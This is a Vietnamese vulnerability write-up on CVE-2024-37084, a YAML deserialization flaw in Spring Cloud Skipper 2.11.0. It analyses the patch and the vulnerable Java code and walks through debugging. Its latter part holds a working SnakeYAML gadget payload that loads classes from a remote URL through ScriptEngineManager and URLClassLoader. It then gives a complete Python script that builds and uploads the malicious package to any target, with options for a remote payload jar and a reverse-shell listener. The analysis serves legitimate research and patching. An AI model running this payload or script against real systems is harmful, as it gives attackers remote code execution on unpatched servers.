CVE-2024-37084 là lỗ hổng bảo mật trong Spring Cloud Skipper, liên quan cụ thể đến cách ứng dụng xử lý input data YAML.
Lỗ hổng phát sinh từ việc sử dụng hàm tạo Yaml chuẩn (standard Yaml constructor) , cho phép hủy tuần tự hóa (deserialization )các object tùy ý. Từ đây attacker có thể tận dụng để khai thác bằng cách cung cấp dữ liệu YAML độc hại (malicious YAML data) , có khả năng dẫn đến thực thi mã từ xa ( RCE ) .
Lỗ hổng ảnh hưởng đến các phiên bản 2.11.x & 2.10.x của Spring Cloud Skipper.
DiffCode
Diffing
Bản vá cho CVE-2024-37084, được nêu chi tiết trên GitHub có thể so sánh source code , diff nó với bản 2.11.x hoặc theo dõi thay đổi trên github về report này
Các thay đổi tác động đến một số file đặc biệt là hàm SafeConstructor để đảm bảo YAML deserialization an toàn hơn so với bản 2.11.x , ở đây mình sẽ dùng bản 2.11.0.
Update Constructor cho PackageMetadata
File PackageMetadataSafeConstructor.java -> Update của file PackageMetadata có 1 số thay đổi , ta sẽ xem code diff ở đây :
Update PackageMetadataSafeConstructor an toàn deserializing object hơn so với bản 2.11.0 là PackageMetadata.
Set Up
Download bản 2.11.0 Spring Cloud Data Flow trên link GitHub :
Trong spring-cloud-dataflow-2.11.0/src/docker-compose, mở file docker-compose.yml,
Thêm
JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005 vào mục environment skipper-server để setup debug :
Để có thể debug remote ở localhost với port listen là 5005 nên phần ports cũng cần thêm port 5005
Để deloy chạy lệnh :
sudo docker-compose up -d
Sau khi chạy thành công sẽ có thể xem được dashboard và Skipper Server API :
Analysis
View hàm upload() ở spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java:
Soure code :
public PackageMetadata upload(UploadRequest uploadRequest) {
validateUploadRequest(uploadRequest);
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
Path packageDirPath = null;
try {
packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths
.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"
+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
ZipUtil.unpack(packageFile.toFile(), packageDir);
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()
+ "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName())
|| !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
throw new SkipperException(String.format("Package definition in the request [%s:%s] " +
"differs from one inside the package.yml [%s:%s]",
uploadRequest.getName(), uploadRequest.getVersion(),
packageMetadata.getName(), packageMetadata.getVersion()));
}
if (localRepositoryToUpload != null) {
packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);
}
catch (IOException e) {
throw new SkipperException("Failed to upload the package.", e);
}
finally {
if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
logger.warn("Temporary directory can not be deleted: " + packageDirPath);
}
}
}
Tóm tắt cách hoạt động của hàm này
Xác thực yêu cầu tải lên.
Tạo thư mục tạm thời để lưu trữ package.
Giải nén package để kiểm tra nội dung.
Xác thực metadata trong package để đảm bảo tính hợp lệ.
Lưu metadata vào cơ sở dữ liệu và liên kết với repository.
Xóa các file tạm sau khi hoàn tất.
Cụ thể hơn :
1. Xác thực yêu cầu tải lên
validateUploadRequest(uploadRequest);
Hàm này kiểm tra dữ liệu của yêu cầu tải lên để đảm bảo rằng nó hợp lệ trước khi tiếp tục.
Tạo một thư mục tạm thời trên hệ thống để chứa package tải lên. Sau đó, một file tạm thời được tạo ra từ dữ liệu của package và lưu vào thư mục này.
4. Giải nén file tải lên
ZipUtil.unpack(packageFile.toFile(), packageDir);
Sau khi file được tải lên, nó sẽ được giải nén để có thể đọc và xử lý dữ liệu bên trong.
5. Xác minh package đã giải nén tồn tại
String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
Xác nhận rằng quá trình giải nén đã diễn ra thành công và file đã giải nén tồn tại.
6. Đọc và xác thực metadata của package
Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]",
uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}
Đọc metadata từ package đã giải nén và so sánh với dữ liệu yêu cầu tải lên
Link package metadata với repository tương ứng (nếu có), rồi lưu metadata của package vào database
8. Xử lý exception và xóa thư mục tạm thời
finally {
if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
logger.warn("Temporary directory can not be deleted: " + packageDirPath);
}
}
Thư mục tạm thời được tạo ra trước đó sẽ được xóa sau khi quá trình hoàn thành. Nếu không thể xóa được, ghi lại cảnh báo vào log.
Phân tích thêm về method read() qua file DefaultPackageReader.java khi ta search link method này trong project :
Source code :
public class DefaultPackageReader implements PackageReader {
@Override
public Package read(File packageDirectory) {
Assert.notNull(packageDirectory, "File to load package from can not be null");
List<File> files;
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
Package pkg = new Package();
List<FileHolder> fileHolders = new ArrayList<>();
// Iterate over all files and "deserialize" the package.
for (File file : files) {
// Package metadata
if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
pkg.setMetadata(loadPackageMetadata(file));
continue;
}
if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
fileHolders.add(loadManifestFile(file));
continue;
}
// Package property values for configuration
if (file.getName().equalsIgnoreCase("values.yaml") ||
file.getName().equalsIgnoreCase("values.yml")) {
pkg.setConfigValues(loadConfigValues(file));
continue;
}
// The template files
final File absoluteFile = file.getAbsoluteFile();
if (absoluteFile.isDirectory() && absoluteFile.getName().equals("templates")) {
pkg.setTemplates(loadTemplates(file));
continue;
}
// dependent packages
if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
File[] dependentPackageDirectories = file.listFiles();
List<Package> dependencies = new ArrayList<>();
for (File dependentPackageDirectory : dependentPackageDirectories) {
dependencies.add(read(dependentPackageDirectory));
}
pkg.setDependencies(dependencies);
}
}
if (!fileHolders.isEmpty()) {
pkg.setFileHolders(fileHolders);
}
return pkg;
}
private List<Template> loadTemplates(File templatePath) {
List<File> files;
try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in template path " + templatePath, e);
}
List<Template> templates = new ArrayList<>();
for (File file : files) {
if (isYamlFile(file)) {
Template template = new Template();
template.setName(file.getName());
try {
template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
}
templates.add(template);
}
}
return templates;
}
private boolean isYamlFile(File file) {
Path path = Paths.get(file.getAbsolutePath());
String fileName = path.getFileName().toString();
if (!fileName.startsWith(".")) {
return (fileName.endsWith("yml") || fileName.endsWith("yaml"));
}
return false;
}
private ConfigValues loadConfigValues(File file) {
ConfigValues configValues = new ConfigValues();
try {
configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
}
return configValues;
}
private FileHolder loadManifestFile(File file) {
try {
return new FileHolder(file.getName(), Files.readAllBytes(file.toPath()));
}
catch (IOException e) {
throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
}
}
private PackageMetadata loadPackageMetadata(File file) {
// The Representer will not try to set the value in the YAML on the
// Java object if it isn't present on the object
DumperOptions options = new DumperOptions();
Representer representer = new Representer(options);
representer.getPropertyUtils().setSkipMissingProperties(true);
LoaderOptions loaderOptions = new LoaderOptions();
Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
String fileContents = null;
try {
fileContents = FileUtils.readFileToString(file);
}
catch (IOException e) {
throw new SkipperException("Error reading yaml file", e);
}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
return pkgMetadata;
}
}
Tóm tắt:
Hàm read() của lớp DefaultPackageReader duyệt qua thư mục của package, phân tích các file YAML, manifest, cấu hình, và template để tạo đối tượng Package hoàn chỉnh.
Nó xử lý các file theo loại, kiểm tra và tải chúng vào các object Java tương ứng.
Sử dụng thư viện SnakeYAML để đọc và ánh xạ các file YAML thành đối tượng PackageMetadata.
Vuln sẽ nằm ở hàm này.
Quá trình đọc này giúp tải và chuẩn bị package để sử dụng trong các bước tiếp theo.
Cụ thể hơn hàm read() trong DefaultPackageReader
1. Kiểm tra và duyệt qua các file trong thư mục
Assert.notNull(packageDirectory, "File to load package from can not be null");
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
Kiểm tra thư mục truyền vào có hợp lệ không. Sau đó sử dụng Files.walk() để duyệt qua các file trong thư mục, lấy danh sách file và lưu vào files.
Đảm bảo rằng thư mục không rỗng và xử lý exception trong trường hợp không thể đọc được.
2. Xử lý từng file
for (File file : files) {
if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
pkg.setMetadata(loadPackageMetadata(file)); // note
continue;
}
if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
fileHolders.add(loadManifestFile(file));
continue;
}
if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) {
pkg.setConfigValues(loadConfigValues(file));
continue;
}
if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) {
pkg.setTemplates(loadTemplates(file));
continue;
}
if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
File[] dependentPackageDirectories = file.listFiles();
List<Package> dependencies = new ArrayList<>();
for (File dependentPackageDirectory : dependentPackageDirectories) {
dependencies.add(read(dependentPackageDirectory));
}
pkg.setDependencies(dependencies);
}
}
Vòng lặp này duyệt qua các file, phân loại chúng theo từng loại cần xử lý:
Metadata: Nếu là file package.yml hoặc package.yaml, load metadata của package( có thể load code rce ).
Manifest: Xử lý các file manifest (file cấu hình).
Config Values: Load các giá trị cấu hình từ values.yaml hoặc values.yml.
Templates: Load các file template từ thư mục "templates".
Dependencies: Load có thư mục con "packages", nó sẽ load thêm các package phụ thuộc.
Hàm này sử dụng thư viện SnakeYAML để đọc file YAML và chuyển nó thành objectPackageMetadata. Nó sử dụng Constructor để ánh xạ các thuộc tính của file YAML thành object Java tương ứng.
Đảm bảo rằng nếu có thuộc tính nào trong YAML không tồn tại trong đối tượng Java, nó sẽ bỏ qua mà không gây lỗi.
4. Load file template
private List<Template> loadTemplates(File templatePath) {
try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
throw new SkipperException("Could not process files in template path " + templatePath, e);
}
List<Template> templates = new ArrayList<>();
for (File file : files) {
if (isYamlFile(file)) {
Template template = new Template();
template.setName(file.getName());
try {
template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
}
catch (IOException e) {
throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
}
templates.add(template);
}
}
return templates;
}
Hàm này duyệt qua thư mục "templates", đọc từng file YAML và chuyển đổi thành object Template. Nó load nội dung của file và lưu vào template để sử dụng sau
Đọc file values.yaml hoặc values.yml và lưu trữ nội dung của nó trong đối tượng ConfigValues.
6.Load packageMetadata :
private PackageMetadata loadPackageMetadata(File file) {
// The Representer will not try to set the value in the YAML on the
// Java object if it isn't present on the object
DumperOptions options = new DumperOptions();
Representer representer = new Representer(options);
representer.getPropertyUtils().setSkipMissingProperties(true);
LoaderOptions loaderOptions = new LoaderOptions();
Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
String fileContents = null;
try {
fileContents = FileUtils.readFileToString(file);
}
catch (IOException e) {
throw new SkipperException("Error reading yaml file", e);
}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
return pkgMetadata;
}
Nội dung của chuỗi YAML (fileContents) được chuyển đổi thành object PackageMetadata bằng cách sử dụng yaml.load(fileContents) từ thư viện SnakeYAML.
deserialization: Khi SnakeYAML gặp phải các tag như !!javax.script.ScriptEngineManager, tạo object của các class Java tương ứng. Điều này có thể dẫn đến việc thực thi mã Java.
Debug
Chọn Edit :
Chọn dấu + và thêm remote debug JVM :
Click ok , chú ý port listen đúng với port đã setup ( 5005 )
Đặt breakpoint tại hàm upload() đễ debug xem cách nó load file lên , đặt thêm ở các phần unzip file , check path để kiểm tra :
Trước tiên chuẩn bị payload :
Note : lỗ hổng yaml deserialize này có để cập trong CVE-2022-1471.
Yaml payload :
repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: anythings
name: thePoc
để payload ở tag nào cũng dc , mình sẽ để ở tag displayName
Sau khi deserialize -> tạo object -> instance ScriptEngineManager -> sử dụng URLClassLoader exec class từ 1 URL cụ thể ( ở đây là http://localhost:8080)
ScriptEngineManager sẽ tải các script engine có thể từ URL http://localhost:8080/.
URLClassLoader cho phép load các class từ URL đó.
repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
name: thePoc
Chạy debug :
Có thể thấy đã nhận được request gửi file lên với data là file yaml chứa payload sau khi zip ( dữ liệu dc covert thành các byte )
Sau khi debug đến :
Đoạn kiểm tra này cần check File zip chứa folder của package, và folder nó sẽ phải đặt tên theo format packageName-version.
Sau đó đi đến hàm read() và đọc dữ liệu, deserialize và chuyển content -> object và có thể thực thi rce
Scipt exploit :
import os
import requests
import json
import zipfile
from pathlib import Path
import argparse
def create_package_yaml(version, payload_url, folder_path):
package_content = f"""repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: {version}
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["{payload_url}"]]]]
name: thePoc
"""
package_file_path = os.path.join(folder_path, "package.yaml")
with open(package_file_path, 'w') as file:
file.write(package_content)
print(f"[+] Created package.yaml with version: {version}, payload URL: {payload_url}")
def zip_folder(folder_path, zip_file_path):
with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
folder_name = os.path.basename(folder_path)
for root, _, files in os.walk(folder_path):
for file in files:
full_path = os.path.join(root, file)
relative_path = os.path.relpath(full_path, os.path.dirname(folder_path))
zipf.write(full_path, relative_path)
print(f"[+] Zipped folder to: {zip_file_path}")
def zip_to_byte_array(zip_file_path):
with open(zip_file_path, 'rb') as zip_file:
return list(zip_file.read())
def upload_package(url, version, package_file_as_bytes):
upload_request = {
"repoName": "local",
"name": "thePoc",
"version": version,
"extension": "zip",
"packageFileAsBytes": package_file_as_bytes
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url, headers=headers, data=json.dumps(upload_request))
return response
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="PoC for CVE-2024-37084 - Remote Code Execution",
usage="python CVE-2024-37084-Poc.py --target_url <target_url> --version <version> --payload_url <payload_url> [--listen_ip <listen_ip>] [--listen_port <listen_port>]"
)
parser.add_argument("--target_url", type=str, required=True, help="URL of the target server (e.g., http://target_ip:port/api/package/upload)")
parser.add_argument("--version", type=str, required=True, help="Version of the package (e.g., 5.0.0)")
parser.add_argument("--payload_url", type=str, required=True, help="URL to the malicious payload (e.g., https://too.lewd.se/yaml-payload.jar)")
parser.add_argument("--listen_ip", type=str, default="0.0.0.0", help="IP to listen for the reverse shell (default: 0.0.0.0)")
parser.add_argument("--listen_port", type=int, default=4444, help="Port to listen for the reverse shell (default: 4444)")
if len(os.sys.argv) == 1:
parser.print_help()
os.sys.exit(1)
args = parser.parse_args()
folder_name = f"thePoc-{args.version}"
zip_file_name = f"{folder_name}.zip"
Path(folder_name).mkdir(parents=True, exist_ok=True)
create_package_yaml(args.version, args.payload_url, folder_name)
zip_folder(folder_name, zip_file_name)
package_file_as_bytes = zip_to_byte_array(zip_file_name)
print("[*] Uploading malicious package...")
response = upload_package(args.target_url, args.version, package_file_as_bytes)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
Test rce :
giữa versoin 2.11.0 tồn tại lỗ hổng yaml deserialze của CVE này và version sau khi patch :
